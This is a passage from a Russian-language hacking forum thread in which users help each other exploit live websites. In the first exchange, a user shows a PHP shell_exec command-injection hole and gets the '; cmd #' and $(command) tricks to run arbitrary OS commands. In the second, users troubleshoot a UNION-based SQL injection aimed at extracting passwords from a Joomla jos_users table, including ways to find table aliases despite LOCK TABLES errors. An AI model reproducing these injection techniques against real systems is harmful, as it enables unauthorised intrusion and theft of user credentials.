Старый 06.07.2013, 19:17   #2931
Ereeee
 
Аватар для Ereeee
 
Регистрация: 19.01.2012
Сообщений: 110
Репутация: 12
По умолчанию

Цитата:
Сообщение от Untitled Посмотреть сообщение
Ну, тут уже сказали про подключение конфигов из другой диры. В httpd.conf есть инклуд из диры, например, /sites-enabled? CMS самописная? INTO OUTFILE в /tmp/ работает?
CMS самопис, да что там CMS, на главном сайте и СУБД самописная. Into outfile работает. Уважаю таких админов, так как ничего другого не остается Вопрос исчерпан.
Ereeee вне форума   Ответить с цитированием
Старый 11.07.2013, 00:07   #2932
priv8
 
Регистрация: 27.05.2013
Сообщений: 4
Репутация: 0
По умолчанию

Есть удаленное исполнение кода, вида:
PHP код:
if(isset($_POST['new_g_name'])) { 
    
$file_name $_POST['new_g_name']; 
    
$file_name "/var/www/html/".$_POST['new_g_name']; 
    
$file_name_old "/var/www/html/test/".$_POST['new_g_name']; 
    
$error shell_exec('cp '.$file_name.' '.$file_name_old.' -f -R'); 

    echo(
'cp '.$file_name_old.' '.$file_name.' -f -R'); 
    if(
$error!='') { 
        echo(
'Error : '$error); 
    } 
    else { 
        echo(
"<br />Uploaded."); 
    } 

Команды ОС отрабатываются, только те у которых есть атрибуты -f -R (cat, ls, etc), как можно избавится от них? Возможно есть способ заставить bash игнорировать их?
priv8 вне форума   Ответить с цитированием
Старый 11.07.2013, 00:17   #2933
Enigma
 
Аватар для Enigma
 
Регистрация: 17.06.2013
Сообщений: 37
Репутация: 12
По умолчанию

Цитата:
Сообщение от priv8 Посмотреть сообщение
Есть удаленное исполнение кода, вида:
PHP код:
if(isset($_POST['new_g_name'])) { 
    
$file_name $_POST['new_g_name']; 
    
$file_name "/var/www/html/".$_POST['new_g_name']; 
    
$file_name_old "/var/www/html/test/".$_POST['new_g_name']; 
    
$error shell_exec('cp '.$file_name.' '.$file_name_old.' -f -R'); 

    echo(
'cp '.$file_name_old.' '.$file_name.' -f -R'); 
    if(
$error!='') { 
        echo(
'Error : '$error); 
    } 
    else { 
        echo(
"<br />Uploaded."); 
    } 

Команды ОС отрабатываются, только те у которых есть атрибуты -f -R (cat, ls, etc), как можно избавится от них? Возможно есть способ заставить bash игнорировать их?
Если я правильно понял вопрос, то можно отрезать атрибуты символом #, то что идет после него будет комментарием. Также полезна конструкция вида $(command).

Наглядная демонстрация:
PHP код:
<?php echo shell_exec('echo $(id) # -f -r'); ?>
Пожалуйста.

Последний раз редактировалось Enigma; 11.07.2013 в 01:24..
Enigma вне форума   Ответить с цитированием
Старый 11.07.2013, 01:03   #2934
priv8
 
Регистрация: 27.05.2013
Сообщений: 4
Репутация: 0
По умолчанию

Да, спасибо за совет! У меня была банальная ошибка, я делал так:
Код:
; ls#
а надо было:
Код:
; ls #
В общем, я просто забывал поставить пробел и команда не работала. Спасибо.
priv8 вне форума   Ответить с цитированием
Старый 13.07.2013, 07:36   #2935
Воришко
 
Регистрация: 17.03.2013
Сообщений: 17
Репутация: -7
По умолчанию

Впервые столкнулся с непонятной вещью, раскрутил SQL inJ на сайте, запрос верный, всё правильно, вывожу информацию из базы запросом select password from jos_users на что выплёвывается ошибка:
Код:
Error number: 1100
Table 'jos_users' was not locked with LOCK TABLES
Script stopped.
Пробовал по всякому, и хексить выводимую информацию из таблицы, и так: base.jos_users и так: `base`.`jos_users` всё одно и тоже, не знаю почему так происходит, возможно кто то в курсе, и сможет помочь объяснить в чем дело происходит.
Воришко вне форума   Ответить с цитированием
Старый 13.07.2013, 09:23   #2936
romashka_sky
 
Регистрация: 01.10.2011
Сообщений: 33
Репутация: 8
По умолчанию

Цитата:
Сообщение от Воришко Посмотреть сообщение
Впервые столкнулся с непонятной вещью, раскрутил SQL inJ на сайте, запрос верный, всё правильно, вывожу информацию из базы запросом select password from jos_users на что выплёвывается ошибка:
Код:
Error number: 1100
Table 'jos_users' was not locked with LOCK TABLES
Script stopped.
Пробовал по всякому, и хексить выводимую информацию из таблицы, и так: base.jos_users и так: `base`.`jos_users` всё одно и тоже, не знаю почему так происходит, возможно кто то в курсе, и сможет помочь объяснить в чем дело происходит.
При использовании блокировок таблиц(lock) обращаться можно только к заблокированным таблицам(алиасам). Например
Код:
LOCK TABLES t1, t2 WRITE
Код:
SELECT * FROM t3
даст такую ошибку
romashka_sky вне форума   Ответить с цитированием
Старый 13.07.2013, 11:01   #2937
Воришко
 
Регистрация: 17.03.2013
Сообщений: 17
Репутация: -7
По умолчанию

Цитата:
Сообщение от romashka_sky Посмотреть сообщение
При использовании блокировок таблиц(lock) обращаться можно только к заблокированным таблицам(алиасам). Например
Код:
LOCK TABLES t1, t2 WRITE
Код:
SELECT * FROM t3
даст такую ошибку
Извиняюсь, не понял. То есть можно как то узнать алиас таблицы и обратиться к нему? select id from ALIAS_TABLE ?
И если да, то как узнать и как будет выглядеть боевой запрос чтобы вывести информацию из базы? Гуглил подобную ошибку, но толком так ничего и не смог найти по заблокированным таблицам.
Ещё интересный момент, там где я нашёл SQL он ещё высвечивает весь SQL запрос целиком, и он:
Код:
SELECT typ, wert, id FROM `udb4`.`jos_referrers` WHERE [SQL_INJ_WHERE]
Я для пробы выполнил SQL запрос: select count(*) from `udb4`.`jos_referrers` и он мне выдаёт тоже самое, таблица jos_referrers заблокирована, интересно, а как же тогда сам скрипт то делает выборку из этой таблицы если я в него не вмешиваюсь, но при иньекции с моим запросом таблица уже оказывается заблокированной...
Воришко вне форума   Ответить с цитированием
Старый 13.07.2013, 13:40   #2938
NameSpace
 
Регистрация: 21.12.2012
Сообщений: 146
Репутация: 52
По умолчанию

Цитата:
Сообщение от Воришко Посмотреть сообщение
таблица jos_referrers заблокирована, интересно, а как же тогда сам скрипт то делает выборку из этой таблицы если я в него не вмешиваюсь, но при иньекции с моим запросом таблица уже оказывается заблокированной...
PHP код:
Error number1100
Table 
'jos_users' was not locked with LOCK TABLES
Script stopped

У вас jos_users заблокирована.
NameSpace вне форума   Ответить с цитированием
Старый 13.07.2013, 13:40   #2939
romashka_sky
 
Регистрация: 01.10.2011
Сообщений: 33
Репутация: 8
По умолчанию

Цитата:
Сообщение от Воришко Посмотреть сообщение
Извиняюсь, не понял. То есть можно как то узнать алиас таблицы и обратиться к нему? select id from ALIAS_TABLE ?
И если да, то как узнать и как будет выглядеть боевой запрос чтобы вывести информацию из базы? Гуглил подобную ошибку, но толком так ничего и не смог найти по заблокированным таблицам.
Ещё интересный момент, там где я нашёл SQL он ещё высвечивает весь SQL запрос целиком, и он:
Код:
SELECT typ, wert, id FROM `udb4`.`jos_referrers` WHERE [SQL_INJ_WHERE]
Я для пробы выполнил SQL запрос: select count(*) from `udb4`.`jos_referrers` и он мне выдаёт тоже самое, таблица jos_referrers заблокирована, интересно, а как же тогда сам скрипт то делает выборку из этой таблицы если я в него не вмешиваюсь, но при иньекции с моим запросом таблица уже оказывается заблокированной...
насколько я знаю, что для подзапросов, union, join таблицы, входящие в sql-выражение должны быть заблокированы на чтение/запись. Если используется одна таблица, то она должна блокироваться с алиасом, и использоваться в выражении с алиасом.
Например
Код:
LOCK TABLES `jos_referrers` WRITE;
Код:
SELECT typ, wert, id FROM `udb4`.`jos_referrers` WHERE 1=0 UNION select count(*),1,1 from `udb4`.`jos_referrers`;
будет давать ошибку, сообщающую, что таблица `jos_referrers` не заблокирована, тогда как
Код:
LOCK TABLES `jos_referrers` `r1` WRITE, `jos_referrers` `r2` WRITE;
Код:
SELECT typ, wert, id FROM `udb4`.`jos_referrers` `r1` WHERE 1=0 UNION select count(*),1,1 from `udb4`.`jos_referrers` `r2`;
будет работать.
Так что таким методом иньекцию не провести
romashka_sky вне форума   Ответить с цитированием
Старый 13.07.2013, 13:54   #2940
NameSpace
 
Регистрация: 21.12.2012
Сообщений: 146
Репутация: 52
Cool

Цитата:
Сообщение от romashka_sky Посмотреть сообщение
Так что таким методом иньекцию не провести
Почему?

  • Если таблица заблокирована, значит к ней кто-то обращается. Если к ней кто-то обращается, надо-бы помониторить information_schema.PROCESSLIS и узнать это алиас
  • Если это InnoDB, надо-бы посмотреть INNODB_LOCKS и INNODB_LOCK_WAITS
  • Надо посмотреть, возможно алиасы еще как-то можно получить или обратиться без них, мало-ли...

Последний раз редактировалось NameSpace; 13.07.2013 в 13:58..
NameSpace вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2022, Jelsoft Enterprises Ltd. Перевод: zCarot